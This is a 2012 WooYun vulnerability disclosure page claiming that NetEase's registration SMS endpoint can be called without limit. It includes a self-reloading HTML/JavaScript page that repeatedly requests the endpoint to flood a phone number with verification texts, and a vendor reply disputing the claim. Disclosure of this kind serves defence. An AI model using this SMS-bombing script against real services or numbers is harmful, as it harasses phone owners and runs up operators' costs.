当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2012-010556

漏洞标题：网易邮箱无限发送验证码消息短信

相关厂商：网易

漏洞作者： 海。

提交时间：2012-08-05 11:29

修复时间：2012-08-06 10:49

公开时间：2012-08-06 10:49

漏洞类型：设计缺陷/逻辑错误

危害等级：中

自评Rank：5

漏洞状态：漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2012-08-05： 细节已通知厂商并且等待厂商处理中
2012-08-06： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

http://******/sendsms?username=手机号
没有判别机制,从而导致无限发送验证
容易被人利用制作成短信骚扰攻击器，从而导致短信费就可想惊人...

详细说明：

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<title>无限刷新页面</title>
<script language="javascript">
      function myrefresh(){
   location.href="http://reg.163.com/services/sendsms?username=13800000000";
         window.location.reload();
      }
      setTimeout('myrefresh()',1000); //指定1秒刷新一次
</script>
</head>
<body onload="myrefresh()">
</body>
</html>

http://reg.163.com/services/sendsms?username=手机号
如：http://reg.163.com/services/sendsms?username=13800000000
设置多页面无限循环刷新页面就可以不停的向网易手机用户发送验证码短信进行骚扰
没有判别机制,从而导致无限发送验证

漏洞证明：

判断对方不是手机号码错误401


向手机号码13800000000发送短信成功。200


收到不停的短信骚扰

修复方案：

你懂的...
不需要我提供方法了。

版权声明：转载请注明来源 海。@乌云

漏洞回应

厂商回应：

危害等级：无影响厂商忽略

忽略时间：2012-08-06 10:49

厂商回复：

感谢您对网易的关注，发送短信验证码有次数限制，不会形成短信炸弹。

最新状态：

暂无